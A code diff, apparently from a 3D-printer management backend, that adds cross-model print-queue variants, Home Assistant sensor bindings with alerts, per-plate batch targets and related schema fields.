         ForeignKey("print_archives.id", ondelete="SET NULL"), nullable=True, index=True
     )
     )
+    # Which queue item produced this run, when one did. Printer-initiated
+    # prints have none. Batch cost/energy roll-up joins on this (#342): the
+    # archive alone can't attribute a run to an order because several orders
+    # — and plain reprints — share one archive.
+    queue_item_id: Mapped[int | None] = mapped_column(
+        ForeignKey("print_queue.id", ondelete="SET NULL"), nullable=True, index=True
+    )
     print_name: Mapped[str | None] = mapped_column(String(255))
     print_name: Mapped[str | None] = mapped_column(String(255))
     printer_name: Mapped[str | None] = mapped_column(String(255))
     printer_name: Mapped[str | None] = mapped_column(String(255))
     printer_id: Mapped[int | None] = mapped_column(Integer)
     printer_id: Mapped[int | None] = mapped_column(Integer)

+ 76 - 0
backend/app/models/print_queue.py

@@ -170,6 +170,82 @@ class PrintQueueItem(Base):
     project: Mapped["Project | None"] = relationship(back_populates="queue_items")
     project: Mapped["Project | None"] = relationship(back_populates="queue_items")
     batch: Mapped["PrintBatch | None"] = relationship(back_populates="queue_items")
     batch: Mapped["PrintBatch | None"] = relationship(back_populates="queue_items")
     created_by: Mapped["User | None"] = relationship()
     created_by: Mapped["User | None"] = relationship()
+    variants: Mapped[list["PrintQueueVariant"]] = relationship(
+        back_populates="queue_item",
+        cascade="all, delete-orphan",
+        order_by="PrintQueueVariant.position",
+    )
+
+
+class PrintQueueVariant(Base):
+    """One candidate file for a queue item that may print on several models (#671).
+
+    A user with an H2S and an H2C slices the same job twice and does not care
+    which machine runs it. Each slice becomes a variant; the scheduler walks them
+    in ``position`` order and takes the first whose model has an idle printer.
+
+    **This is a snapshot, not a pointer.** The candidate list is copied from the
+    library's variant group when the item is queued, and every per-file setting
+    the dispatcher needs is copied with it. Two reasons:
+
+    - Editing the library group afterwards must not silently change a job that is
+      already waiting in the queue.
+    - The per-file settings genuinely differ between candidates and are choices
+      the user made for *this* job, not properties of the file. An H2C slice is
+      dual-nozzle and will not have the same slot count, AMS mapping or nozzle
+      mapping as the H2S slice of the same model.
+
+    On a match the winning variant's fields are written onto the queue row before
+    the dispatch commit, so everything downstream — upload, archive creation,
+    print history, reprint — sees an ordinary single-file item and needs no
+    knowledge that variants exist.
+
+    Variants reference library files only. An archive records a print that already
+    happened, of one specific file, so it is never a candidate for "which of these
+    should we run".
+    """
+
+    __tablename__ = "print_queue_variants"
+
+    id: Mapped[int] = mapped_column(primary_key=True)
+    queue_item_id: Mapped[int] = mapped_column(
+        ForeignKey("print_queue.id", ondelete="CASCADE"), nullable=False, index=True
+    )
+    # User's priority order. When two printers are idle in the same scheduler
+    # pass, the lowest position wins — so the choice is reproducible instead of
+    # depending on which match the matcher happened to find first.
+    position: Mapped[int] = mapped_column(Integer, default=0)
+
+    # CASCADE: deleting the file drops this candidate but leaves the item and its
+    # other candidates alone. Losing the *last* candidate is handled by the
+    # resolver, which holds the item pending with an explicit waiting_reason
+    # rather than letting it sit there looking dispatchable forever.
+    library_file_id: Mapped[int] = mapped_column(ForeignKey("library_files.id", ondelete="CASCADE"), nullable=False)
+    # Normalized short name ("H2S"), taken from the file's own sliced_for_model
+    # at creation, or picked by the user for a legacy file that declares none.
+    target_model: Mapped[str] = mapped_column(String(50), nullable=False)
+
+    # Per-file dispatch settings, same semantics as the identically named columns
+    # on PrintQueueItem — see there for the formats.
+    plate_id: Mapped[int | None] = mapped_column(Integer, nullable=True)
+    ams_mapping: Mapped[str | None] = mapped_column(Text, nullable=True)
+    nozzle_mapping: Mapped[str | None] = mapped_column(Text, nullable=True)
+    filament_overrides: Mapped[str | None] = mapped_column(Text, nullable=True)
+    required_filament_types: Mapped[str | None] = mapped_column(Text, nullable=True)
+    print_time_seconds: Mapped[int | None] = mapped_column(Integer, nullable=True)
+
+    # How many times this candidate has been dispatched and bounced back to
+    # pending by the start-watchdog. The resolver tries least-attempted first, so
+    # a printer that accepts the file and never starts (#1678) hands the job to
+    # the other machine on the next lap instead of burning the item's whole
+    # DISPATCH_MAX_ATTEMPTS budget against the same wedged printer — which is the
+    # entire reason the user queued an alternative.
+    attempt_count: Mapped[int] = mapped_column(Integer, default=0, server_default="0")
+
+    created_at: Mapped[datetime] = mapped_column(DateTime, server_default=func.now())
+
+    queue_item: Mapped["PrintQueueItem"] = relationship(back_populates="variants")
+    library_file: Mapped["LibraryFile"] = relationship()
 
 
 
 
 from backend.app.models.archive import PrintArchive  # noqa: E402
 from backend.app.models.archive import PrintArchive  # noqa: E402

+ 2 - 0
backend/app/models/printer.py

@@ -61,6 +61,7 @@ class Printer(Base):
     sensor_history: Mapped[list["PrinterSensorHistory"]] = relationship(
     sensor_history: Mapped[list["PrinterSensorHistory"]] = relationship(
         back_populates="printer", cascade="all, delete-orphan"
         back_populates="printer", cascade="all, delete-orphan"
     )
     )
+    ha_sensors: Mapped[list["PrinterHASensor"]] = relationship(back_populates="printer", cascade="all, delete-orphan")
 
 
 
 
 from backend.app.models.ams_history import AMSSensorHistory  # noqa: E402
 from backend.app.models.ams_history import AMSSensorHistory  # noqa: E402
@@ -68,5 +69,6 @@ from backend.app.models.archive import PrintArchive  # noqa: E402
 from backend.app.models.kprofile_note import KProfileNote  # noqa: E402
 from backend.app.models.kprofile_note import KProfileNote  # noqa: E402
 from backend.app.models.maintenance import PrinterMaintenance  # noqa: E402
 from backend.app.models.maintenance import PrinterMaintenance  # noqa: E402
 from backend.app.models.notification import NotificationProvider  # noqa: E402
 from backend.app.models.notification import NotificationProvider  # noqa: E402
+from backend.app.models.printer_ha_sensor import PrinterHASensor  # noqa: E402
 from backend.app.models.printer_sensor_history import PrinterSensorHistory  # noqa: E402
 from backend.app.models.printer_sensor_history import PrinterSensorHistory  # noqa: E402
 from backend.app.models.smart_plug import SmartPlug  # noqa: E402
 from backend.app.models.smart_plug import SmartPlug  # noqa: E402

+ 72 - 0
backend/app/models/printer_ha_sensor.py

@@ -0,0 +1,72 @@
+from datetime import datetime
+
+from sqlalchemy import Boolean, DateTime, Float, ForeignKey, Integer, String, func
+from sqlalchemy.orm import Mapped, mapped_column, relationship
+
+from backend.app.core.database import Base
+
+
+class PrinterHASensor(Base):
+    """A read-only Home Assistant entity bound to a printer (#1148, #448).
+
+    Deliberately *not* a ``SmartPlug`` row with a wider entity pattern. A plug
+    carries auto-on/auto-off, schedules, power alerts, energy snapshots and
+    ``controls_printer_power``; none of that means anything for a door contact,
+    and ``get_smart_plug_by_printer`` would hand the card's power button a
+    sensor to switch. Sensors get their own table and their own read-only
+    routes instead.
+
+    Not to be confused with ``PrinterSensorHistory``, which stores the
+    printer's *own* heater readings.
+    """
+
+    __tablename__ = "printer_ha_sensors"
+
+    id: Mapped[int] = mapped_column(primary_key=True)
+    printer_id: Mapped[int] = mapped_column(ForeignKey("printers.id", ondelete="CASCADE"), index=True)
+
+    name: Mapped[str] = mapped_column(String(100))
+    entity_id: Mapped[str] = mapped_column(String(255))
+
+    # "binary" for binary_sensor.*, "numeric" for sensor.*. Decides how the
+    # state is rendered and which alert fields apply.
+    kind: Mapped[str] = mapped_column(String(16), default="binary")
+
+    # HA's own device_class, snapshotted when the entity is bound. Drives the
+    # on/off wording (door -> Open/Closed, motion -> Detected/Clear) and the
+    # icon, so the card doesn't have to say "On" for an open door.
+    device_class: Mapped[str | None] = mapped_column(String(32), nullable=True)
+    # Numeric only: "°C", "%", "ppm", ... shown next to the value.
+    unit: Mapped[str | None] = mapped_column(String(16), nullable=True)
+
+    # What counts as needing attention. One notion, three consumers: the pill
+    # colour on the card, the notification, and the print interlock.
+    # Binary sensors use alert_state ("on"/"off"/None), numeric ones the
+    # thresholds. All None means "just show the value".
+    alert_state: Mapped[str | None] = mapped_column(String(8), nullable=True)
+    alert_above: Mapped[float | None] = mapped_column(Float, nullable=True)
+    alert_below: Mapped[float | None] = mapped_column(Float, nullable=True)
+
+    # Hold queued prints for this printer while the sensor is in its alert
+    # state — the enclosure-door case this feature was asked for. Opt-in, and
+    # only ever a *hold*: the item stays pending with a waiting_reason and
+    # dispatches by itself once the door closes.
+    block_print: Mapped[bool] = mapped_column(Boolean, default=False, server_default="0")
+    notify_on_alert: Mapped[bool] = mapped_column(Boolean, default=False, server_default="0")
+
+    show_on_printer_card: Mapped[bool] = mapped_column(Boolean, default=True, server_default="1")
+    sort_order: Mapped[int] = mapped_column(Integer, default=0, server_default="0")
+
+    # Last poll result. Persisted so a restart doesn't blank the card until the
+    # first poll lands, and so notifications only fire on a real transition.
+    last_state: Mapped[str | None] = mapped_column(String(64), nullable=True)
+    last_changed: Mapped[datetime | None] = mapped_column(DateTime, nullable=True)
+    last_checked: Mapped[datetime | None] = mapped_column(DateTime, nullable=True)
+
+    created_at: Mapped[datetime] = mapped_column(DateTime, server_default=func.now())
+    updated_at: Mapped[datetime] = mapped_column(DateTime, server_default=func.now(), onupdate=func.now())
+
+    printer: Mapped["Printer"] = relationship(back_populates="ha_sensors")
+
+
+from backend.app.models.printer import Printer  # noqa: E402

+ 12 - 0
backend/app/models/virtual_printer.py

@@ -49,6 +49,18 @@ class VirtualPrinter(Base):
     )  # queue mode: pin per-slot type+color from the 3MF onto the queue
     )  # queue mode: pin per-slot type+color from the 3MF onto the queue
     # item so the scheduler refuses to dispatch onto a printer with the wrong
     # item so the scheduler refuses to dispatch onto a printer with the wrong
     # filament loaded (#1188).
     # filament loaded (#1188).
+    save_ams_mapping: Mapped[bool] = mapped_column(
+        Boolean, server_default="false"
+    )  # queue mode: keep the slicer's own live-resolved AMS-slot pick (the
+    # `ams_mapping` field on the MQTT `project_file` command) instead of
+    # re-deriving one from the file's static type/color. Stamps it on the queue
+    # item so THIS print dispatches to those trays, and onto the archive's
+    # `extra_data.slicer_ams_mapping` so a later reprint can reuse the same
+    # physical spools. Off by default: taking the slicer's pick makes the
+    # scheduler skip `_compute_ams_mapping_for_printer`, and with it
+    # `prefer_lowest_filament`, its AMS-backup gate (#1766) and the
+    # inventory-remain overrides — so it stays opt-in per virtual printer
+    # rather than changing behaviour for upgraders (#2700).
     gcode_injection: Mapped[bool] = mapped_column(
     gcode_injection: Mapped[bool] = mapped_column(
         Boolean, server_default="false"
         Boolean, server_default="false"
     )  # queue mode: opt this VP's Send/Print jobs into per-model G-code snippet
     )  # queue mode: opt this VP's Send/Print jobs into per-model G-code snippet

+ 3 - 0
backend/app/schemas/auth.py

@@ -527,6 +527,9 @@ class OIDCProviderResponse(BaseModel):
     icon_url: str | None = None
     icon_url: str | None = None
     default_group_id: int | None = None
     default_group_id: int | None = None
     is_autologin: bool = False  # #1589
     is_autologin: bool = False  # #1589
+    # #2593 — the UI renders this provider read-only; without the flag it would
+    # offer editable fields whose writes the API then refuses with 409.
+    is_env_managed: bool = False
     # Set explicitly in the route handler from `icon_content_type is not None`
     # Set explicitly in the route handler from `icon_content_type is not None`
     # rather than `@computed_field` (project policy) or `icon_data is not None`
     # rather than `@computed_field` (project policy) or `icon_data is not None`
     # (would trigger an async lazy-load on the deferred BLOB column).
     # (would trigger an async lazy-load on the deferred BLOB column).

+ 13 - 0
backend/app/schemas/github_backup.py

@@ -157,6 +157,19 @@ class GitHubBackupLogResponse(BaseModel):
         from_attributes = True
         from_attributes = True
 
 
 
 
+class CloudAccountCounts(BaseModel):
+    """How many connected cloud accounts a backup would collect presets from.
+
+    Counts only, never identities: with auth enabled these are other users'
+    accounts, and whoever administers the backup has no business learning who
+    signed in to what. The number is enough to answer the only question the UI
+    asks — is the Cloud Profiles category worth offering at all (#2717).
+    """
+
+    bambu: int = Field(default=0, description="Connected Bambu Cloud accounts")
+    orca: int = Field(default=0, description="Connected Orca Cloud accounts")
+
+
 class GitHubBackupStatus(BaseModel):
 class GitHubBackupStatus(BaseModel):
     """Schema for current backup status."""
     """Schema for current backup status."""
 
 

+ 62 - 0
backend/app/schemas/library.py

@@ -220,6 +220,13 @@ class FileListResponse(BaseModel):
     # never null, so the FE can iterate without a guard.
     # never null, so the FE can iterate without a guard.
     tags: list[TagSummary] = []
     tags: list[TagSummary] = []
 
 
+    # Variant grouping (#671 / #2570). ``variant_count`` is the size of the whole
+    # group, not of the current listing — members can live in different folders,
+    # so counting the rows on screen would under-report. Projected in the list
+    # query so the badge and the smart-print decision cost no extra request.
+    variant_group_id: int | None = None
+    variant_count: int = 0
+
     class Config:
     class Config:
         from_attributes = True
         from_attributes = True
 
 
@@ -397,3 +404,58 @@ class BatchThumbnailResponse(BaseModel):
     succeeded: int
     succeeded: int
     failed: int
     failed: int
     results: list[BatchThumbnailResult]
     results: list[BatchThumbnailResult]
+
+
+# ============ Variant Group Schemas (#671 / #2570) ============
+
+
+class VariantGroupMemberRequest(BaseModel):
+    """One file joining a variant group.
+
+    ``target_model`` is optional and normally omitted — it is read from the
+    file's own ``sliced_for_model``. Supply it only for a legacy 3MF that
+    declares no model, where there is nothing else to go on.
+    """
+
+    library_file_id: int
+    target_model: str | None = Field(None, max_length=50)
+
+
+class VariantGroupCreate(BaseModel):
+    """Declare that these files are the same job sliced for different printers.
+
+    Order is significant: it is the priority used when more than one printer is
+    idle at the same moment. Two members minimum — a group of one expresses no
+    choice.
+    """
+
+    members: list[VariantGroupMemberRequest] = Field(..., min_length=2)
+    name: str | None = Field(None, max_length=255)
+
+
+class VariantGroupUpdate(BaseModel):
+    """Rename a group and/or re-order its members.
+
+    ``member_file_ids`` must list exactly the group's current members; a partial
+    list is rejected rather than guessing where the omitted ones belong.
+    """
+
+    name: str | None = Field(None, max_length=255)
+    member_file_ids: list[int] | None = None
+
+
+class VariantGroupMemberResponse(BaseModel):
+    """A file within a group, with the model it will be dispatched to."""
+
+    library_file_id: int
+    filename: str
+    target_model: str
+    position: int
+
+
+class VariantGroupResponse(BaseModel):
+    """A variant group and its members, in priority order."""
+
+    id: int
+    name: str
+    members: list[VariantGroupMemberResponse]

+ 8 - 0
backend/app/schemas/notification.py

@@ -61,6 +61,11 @@ class NotificationProviderBase(BaseModel):
         default=False, description="Notify when AMS-HT temperature exceeds threshold"
         default=False, description="Notify when AMS-HT temperature exceeds threshold"
     )
     )
 
 
+    # Event triggers - Home Assistant sensors (#1148)
+    on_ha_sensor_alert: bool = Field(
+        default=False, description="Notify when a bound Home Assistant sensor enters its alert state"
+    )
+
     # Event triggers - Build plate detection
     # Event triggers - Build plate detection
     on_plate_not_empty: bool = Field(default=True, description="Notify when objects detected on plate before print")
     on_plate_not_empty: bool = Field(default=True, description="Notify when objects detected on plate before print")
     on_plate_clear_required: bool = Field(
     on_plate_clear_required: bool = Field(
@@ -148,6 +153,9 @@ class NotificationProviderUpdate(BaseModel):
     on_ams_ht_humidity_high: bool | None = None
     on_ams_ht_humidity_high: bool | None = None
     on_ams_ht_temperature_high: bool | None = None
     on_ams_ht_temperature_high: bool | None = None
 
 
+    # Event triggers - Home Assistant sensors (#1148)
+    on_ha_sensor_alert: bool | None = None
+
     # Event triggers - Build plate detection
     # Event triggers - Build plate detection
     on_plate_not_empty: bool | None = None
     on_plate_not_empty: bool | None = None
     on_plate_clear_required: bool | None = None
     on_plate_clear_required: bool | None = None

+ 9 - 0
backend/app/schemas/notification_template.py

@@ -23,6 +23,7 @@ class EventType(StrEnum):
     AMS_HUMIDITY_HIGH = "ams_humidity_high"
     AMS_HUMIDITY_HIGH = "ams_humidity_high"
     AMS_TEMPERATURE_HIGH = "ams_temperature_high"
     AMS_TEMPERATURE_HIGH = "ams_temperature_high"
     BED_COOLED = "bed_cooled"
     BED_COOLED = "bed_cooled"
+    HA_SENSOR_ALERT = "ha_sensor_alert"
     TEST = "test"
     TEST = "test"
 
 
 
 
@@ -77,6 +78,7 @@ EVENT_VARIABLES: dict[str, list[str]] = {
     "ams_humidity_high": ["printer", "ams_label", "humidity", "threshold", "timestamp", "app_name"],
     "ams_humidity_high": ["printer", "ams_label", "humidity", "threshold", "timestamp", "app_name"],
     "ams_temperature_high": ["printer", "ams_label", "temperature", "threshold", "timestamp", "app_name"],
     "ams_temperature_high": ["printer", "ams_label", "temperature", "threshold", "timestamp", "app_name"],
     "bed_cooled": ["printer", "bed_temp", "threshold", "filename", "timestamp", "app_name"],
     "bed_cooled": ["printer", "bed_temp", "threshold", "filename", "timestamp", "app_name"],
+    "ha_sensor_alert": ["printer", "sensor", "state", "timestamp", "app_name"],
     "test": ["app_name", "timestamp"],
     "test": ["app_name", "timestamp"],
     # Queue notifications
     # Queue notifications
     "queue_job_added": ["job_name", "target", "timestamp", "app_name"],
     "queue_job_added": ["job_name", "target", "timestamp", "app_name"],
@@ -205,6 +207,13 @@ SAMPLE_DATA: dict[str, dict[str, str]] = {
         "timestamp": "2024-01-15 14:30",
         "timestamp": "2024-01-15 14:30",
         "app_name": "Bambuddy",
         "app_name": "Bambuddy",
     },
     },
+    "ha_sensor_alert": {
+        "printer": "Bambu X1C",
+        "sensor": "Enclosure Door",
+        "state": "open",
+        "timestamp": "2024-01-15 14:30",
+        "app_name": "Bambuddy",
+    },
     "test": {
     "test": {
         "app_name": "Bambuddy",
         "app_name": "Bambuddy",
         "timestamp": "2024-01-15 14:30",
         "timestamp": "2024-01-15 14:30",

+ 9 - 1
backend/app/schemas/print_log.py

@@ -1,9 +1,17 @@
 from datetime import datetime
 from datetime import datetime
 
 
-from pydantic import BaseModel
+from pydantic import BaseModel, ConfigDict
 
 
 
 
 class PrintLogEntrySchema(BaseModel):
 class PrintLogEntrySchema(BaseModel):
+    # from_attributes lets the routes build this straight off the ORM row.
+    # The GET serialiser used to name every field by hand, and each field it
+    # forgot came back as its default — a silent null rather than an error.
+    # That cost the log its failure_reason (#1687 part 4) and then its cost /
+    # energy_kwh / energy_cost (#2636). Validating from the row removes the
+    # chance to forget one.
+    model_config = ConfigDict(from_attributes=True)
+
     id: int
     id: int
     archive_id: int | None = None
     archive_id: int | None = None
     print_name: str | None = None
     print_name: str | None = None

+ 137 - 3
backend/app/schemas/print_queue.py

@@ -3,6 +3,8 @@ from typing import Annotated, Literal
 
 
 from pydantic import BaseModel, BeforeValidator, Field, PlainSerializer, model_validator
 from pydantic import BaseModel, BeforeValidator, Field, PlainSerializer, model_validator
 
 
+from backend.app.utils.printer_models import MAX_CHAMBER_TEMP_C
+
 
 
 # Custom serializer to ensure UTC datetimes have Z suffix
 # Custom serializer to ensure UTC datetimes have Z suffix
 def serialize_utc_datetime(dt: datetime | None) -> str | None:
 def serialize_utc_datetime(dt: datetime | None) -> str | None:
@@ -42,6 +44,25 @@ def _coerce_tristate(v: object) -> object:
 TriState = Annotated[Literal["off", "on", "auto"], BeforeValidator(_coerce_tristate)]
 TriState = Annotated[Literal["off", "on", "auto"], BeforeValidator(_coerce_tristate)]
 
 
 
 
+class QueueVariantCreate(BaseModel):
+    """One candidate file for a cross-model queue item (#671).
+
+    Per-file rather than per-item because the settings genuinely differ between
+    candidates: an H2C slice is dual-nozzle and will not share slot count, AMS
+    mapping or nozzle mapping with the H2S slice of the same model.
+
+    ``target_model`` is normally omitted and read from the file's own
+    ``sliced_for_model``; supply it only for a legacy 3MF that declares none.
+    """
+
+    library_file_id: int
+    target_model: str | None = None
+    plate_id: int | None = None
+    ams_mapping: list[int] | None = None
+    nozzle_mapping: list[int] | None = None
+    filament_overrides: list[dict] | None = None
+
+
 class PrintQueueItemCreate(BaseModel):
 class PrintQueueItemCreate(BaseModel):
     printer_id: int | None = None  # None = unassigned, user assigns later
     printer_id: int | None = None  # None = unassigned, user assigns later
     target_model: str | None = None  # Target printer model (mutually exclusive with printer_id)
     target_model: str | None = None  # Target printer model (mutually exclusive with printer_id)
@@ -82,7 +103,7 @@ class PrintQueueItemCreate(BaseModel):
     # preheat_enabled setting; 'on' / 'off' force the decision. The chamber
     # preheat_enabled setting; 'on' / 'off' force the decision. The chamber
     # target falls through: this override → max(filament-map[loaded tray]) → 0.
     # target falls through: this override → max(filament-map[loaded tray]) → 0.
     preheat_override: Literal["inherit", "on", "off"] = "inherit"
     preheat_override: Literal["inherit", "on", "off"] = "inherit"
-    preheat_chamber_target_override: int | None = Field(default=None, ge=0, le=60)
+    preheat_chamber_target_override: int | None = Field(default=None, ge=0, le=MAX_CHAMBER_TEMP_C)
     # Auto-print G-code injection
     # Auto-print G-code injection
     gcode_injection: bool = False
     gcode_injection: bool = False
     # Batch: create multiple copies (creates a batch if > 1)
     # Batch: create multiple copies (creates a batch if > 1)
@@ -98,6 +119,12 @@ class PrintQueueItemCreate(BaseModel):
     # Direct printer-card uploads are temporary library files. The scheduler
     # Direct printer-card uploads are temporary library files. The scheduler
     # deletes them after creating the durable archive copy.
     # deletes them after creating the durable archive copy.
     cleanup_library_after_dispatch: bool = False
     cleanup_library_after_dispatch: bool = False
+    # Cross-model alternatives (#671): several sliced files, one job, whichever
+    # printer frees up first. Mutually exclusive with printer_id (a specific
+    # printer defeats the purpose) and with archive_id/library_file_id (the
+    # candidates ARE the files). The scheduler resolves one onto the row at
+    # dispatch, after which the item is an ordinary single-file job.
+    variants: list[QueueVariantCreate] | None = None
 
 
 
 
 class PrintQueueItemUpdate(BaseModel):
 class PrintQueueItemUpdate(BaseModel):
@@ -121,7 +148,7 @@ class PrintQueueItemUpdate(BaseModel):
     use_ams: bool | None = None
     use_ams: bool | None = None
     nozzle_offset_cali: TriState | None = None
     nozzle_offset_cali: TriState | None = None
     preheat_override: Literal["inherit", "on", "off"] | None = None
     preheat_override: Literal["inherit", "on", "off"] | None = None
-    preheat_chamber_target_override: int | None = Field(default=None, ge=0, le=60)
+    preheat_chamber_target_override: int | None = Field(default=None, ge=0, le=MAX_CHAMBER_TEMP_C)
     # Auto-print G-code injection
     # Auto-print G-code injection
     gcode_injection: bool | None = None
     gcode_injection: bool | None = None
     cost_center_id: int | None = None
     cost_center_id: int | None = None
@@ -132,6 +159,15 @@ class PrintQueueItemUpdate(BaseModel):
     nozzle_mapping: list[int] | None = None
     nozzle_mapping: list[int] | None = None
 
 
 
 
+class QueueVariantSummary(BaseModel):
+    """One candidate on a cross-model queue item, for display (#671)."""
+
+    library_file_id: int
+    filename: str
+    target_model: str
+    position: int
+
+
 class PrintQueueItemResponse(BaseModel):
 class PrintQueueItemResponse(BaseModel):
     id: int
     id: int
     printer_id: int | None  # None = unassigned
     printer_id: int | None  # None = unassigned
@@ -200,6 +236,12 @@ class PrintQueueItemResponse(BaseModel):
     # 3MFs: when `plate_id` is set, the value is the matching plate's
     # 3MFs: when `plate_id` is set, the value is the matching plate's
     # `curr_bed_type` rather than the archive-level first-plate default.
     # `curr_bed_type` rather than the archive-level first-plate default.
     bed_type: str | None = None
     bed_type: str | None = None
+    # True when the source archive carries the slicer's own live-resolved
+    # AMS-slot pick (extra_data.slicer_ams_mapping) *and* it was resolved
+    # against this row's own printer — the only case where dispatch actually
+    # reuses that exact physical spool instead of the scheduler re-deriving one
+    # from the file's static type/color.
+    archive_has_slicer_ams_mapping: bool = False
 
 
     # User tracking (Issue #206)
     # User tracking (Issue #206)
     created_by_id: int | None = None
     created_by_id: int | None = None
@@ -209,6 +251,11 @@ class PrintQueueItemResponse(BaseModel):
     batch_id: int | None = None
     batch_id: int | None = None
     batch_name: str | None = None
     batch_name: str | None = None
 
 
+    # Cross-model alternatives (#671), in priority order. Empty for every
+    # ordinary item. Present until dispatch resolves one onto the row, after
+    # which library_file_id / target_model name the candidate that actually ran.
+    variants: list[QueueVariantSummary] = []
+
     # Shortest-job-first scheduling
     # Shortest-job-first scheduling
     been_jumped: bool = False
     been_jumped: bool = False
 
 
@@ -277,7 +324,7 @@ class PrintQueueBulkUpdate(BaseModel):
     use_ams: bool | None = None
     use_ams: bool | None = None
     nozzle_offset_cali: TriState | None = None
     nozzle_offset_cali: TriState | None = None
     preheat_override: Literal["inherit", "on", "off"] | None = None
     preheat_override: Literal["inherit", "on", "off"] | None = None
-    preheat_chamber_target_override: int | None = Field(default=None, ge=0, le=60)
+    preheat_chamber_target_override: int | None = Field(default=None, ge=0, le=MAX_CHAMBER_TEMP_C)
     # Auto-print G-code injection
     # Auto-print G-code injection
     gcode_injection: bool | None = None
     gcode_injection: bool | None = None
     cost_center_id: int | None = None
     cost_center_id: int | None = None
@@ -292,6 +339,20 @@ class PrintQueueBulkUpdateResponse(BaseModel):
     message: str
     message: str
 
 
 
 
+class PrintBatchPlateTarget(BaseModel):
+    """How many runs of one plate an order wants (#342).
+
+    ``plate_id`` is the plate index inside the source 3MF, or null for a
+    single-plate file — matching ``PrintQueueItem.plate_id``. A target of 0 is
+    legal and means "this plate is not required (yet)".
+    """
+
+    plate_id: int | None = None
+    plate_name: str | None = None
+    quantity_target: int = Field(default=1, ge=0, le=999)
+    sort_order: int = 0
+
+
 class PrintBatchCreate(BaseModel):
 class PrintBatchCreate(BaseModel):
     """Create a batch, either empty (multi-plate pre-batch flow) or by
     """Create a batch, either empty (multi-plate pre-batch flow) or by
     assigning existing pending queue items into it (manual "Group as batch")."""
     assigning existing pending queue items into it (manual "Group as batch")."""
@@ -303,6 +364,41 @@ class PrintBatchCreate(BaseModel):
     # the empty-batch flow (client passes the returned id on subsequent
     # the empty-batch flow (client passes the returned id on subsequent
     # addToQueue calls).
     # addToQueue calls).
     item_ids: list[int] | None = None
     item_ids: list[int] | None = None
+    # Per-plate targets. Omitted entirely by the pre-#342 flows, which produce
+    # a batch that reports progress but owes nothing.
+    plates: list[PrintBatchPlateTarget] | None = None
+    # Planning metadata. Projects own the heavier fields (BOM, attachments,
+    # tags); these two are the ones that are useless without a Project to
+    # hang them on, so the order carries them directly.
+    project_id: int | None = None
+    due_date: datetime | None = None
+    notes: str | None = None
+
+
+class PrintBatchUpdate(BaseModel):
+    """Edit an order's header or its per-plate targets while it runs.
+
+    Every field is optional; ``plates`` replaces the full target set when
+    given, so a plate omitted from the list has its target row removed.
+    """
+
+    name: str | None = None
+    status: Literal["active", "cancelled"] | None = None
+    plates: list[PrintBatchPlateTarget] | None = None
+    project_id: int | None = None
+    due_date: datetime | None = None
+    notes: str | None = None
+
+
+class PrintBatchDispatchRequest(BaseModel):
+    """Create queue items for the runs an order still owes."""
+
+    # Restrict to one plate. Null is a legitimate plate_id (single-plate file),
+    # so the caller opts in explicitly rather than us inferring from null.
+    plate_id: int | None = None
+    only_plate: bool = False
+    # Cap on how many items to create across all plates. None = everything owed.
+    limit: int | None = Field(default=None, ge=1, le=999)
 
 
 
 
 class PrintBatchUngroupResponse(BaseModel):
 class PrintBatchUngroupResponse(BaseModel):
@@ -312,6 +408,28 @@ class PrintBatchUngroupResponse(BaseModel):
     message: str
     message: str
 
 
 
 
+class PrintBatchPlateProgress(BaseModel):
+    """Per-plate progress within a batch."""
+
+    plate_id: int | None = None
+    plate_name: str | None = None
+    quantity_target: int = 0
+    dispatched: int = 0
+    remaining: int = 0
+    pending_count: int = 0
+    printing_count: int = 0
+    completed_count: int = 0
+    failed_count: int = 0
+    cancelled_count: int = 0
+    skipped_count: int = 0
+    # Measured from finished runs, never estimated from the file. Null until
+    # at least one run of this plate has produced a cost.
+    actual_cost: float | None = None
+    estimated_remaining_cost: float | None = None
+    filament_used_grams: float | None = None
+    print_time_seconds: int = 0
+
+
 class PrintBatchResponse(BaseModel):
 class PrintBatchResponse(BaseModel):
     """Response for a print batch with progress stats."""
     """Response for a print batch with progress stats."""
 
 
@@ -322,14 +440,30 @@ class PrintBatchResponse(BaseModel):
     quantity: int
     quantity: int
     status: str
     status: str
     created_at: UTCDatetime
     created_at: UTCDatetime
+    completed_at: UTCDatetime | None = None
     created_by_id: int | None = None
     created_by_id: int | None = None
     created_by_username: str | None = None
     created_by_username: str | None = None
+    project_id: int | None = None
+    due_date: UTCDatetime | None = None
+    notes: str | None = None
     # Derived counts
     # Derived counts
     pending_count: int = 0
     pending_count: int = 0
     printing_count: int = 0
     printing_count: int = 0
     completed_count: int = 0
     completed_count: int = 0
     failed_count: int = 0
     failed_count: int = 0
     cancelled_count: int = 0
     cancelled_count: int = 0
+    skipped_count: int = 0
+    # Planning roll-up. has_targets is false for batches created before
+    # per-plate targets existed: they report progress but owe nothing, and the
+    # dispatch endpoint is a no-op for them.
+    has_targets: bool = False
+    target_count: int = 0
+    remaining_count: int = 0
+    actual_cost: float | None = None
+    estimated_remaining_cost: float | None = None
+    filament_used_grams: float | None = None
+    print_time_seconds: int = 0
+    plates: list[PrintBatchPlateProgress] = []
 
 
     class Config:
     class Config:
         from_attributes = True
         from_attributes = True

+ 8 - 0
backend/app/schemas/printer.py

@@ -2,6 +2,8 @@ from datetime import datetime
 
 
 from pydantic import BaseModel, Field, field_validator
 from pydantic import BaseModel, Field, field_validator
 
 
+from backend.app.utils.printer_models import supports_nozzle_flow_type
+
 
 
 class PrinterBase(BaseModel):
 class PrinterBase(BaseModel):
     name: str = Field(..., min_length=1, max_length=100)
     name: str = Field(..., min_length=1, max_length=100)
@@ -81,6 +83,11 @@ class PrinterResponse(PrinterBase):
     id: int
     id: int
     is_active: bool
     is_active: bool
     nozzle_count: int = 1  # 1 or 2, auto-detected from MQTT
     nozzle_count: int = 1  # 1 or 2, auto-detected from MQTT
+    # Whether the model is sold with both Standard and High Flow nozzles, so a
+    # K-profile's flow type is a real choice rather than a meaningless field.
+    # Derived from the model, not from nozzle_count — see
+    # printer_models.supports_nozzle_flow_type.
+    supports_nozzle_flow_type: bool = True
     print_hours_offset: float = 0.0
     print_hours_offset: float = 0.0
     external_camera_url: str | None = None
     external_camera_url: str | None = None
     external_camera_type: str | None = None
     external_camera_type: str | None = None
@@ -113,6 +120,7 @@ class PrinterResponse(PrinterBase):
             "camera_rotation": printer.camera_rotation,
             "camera_rotation": printer.camera_rotation,
             "is_active": printer.is_active,
             "is_active": printer.is_active,
             "nozzle_count": printer.nozzle_count,
             "nozzle_count": printer.nozzle_count,
+            "supports_nozzle_flow_type": supports_nozzle_flow_type(printer.model),
             "print_hours_offset": printer.print_hours_offset,
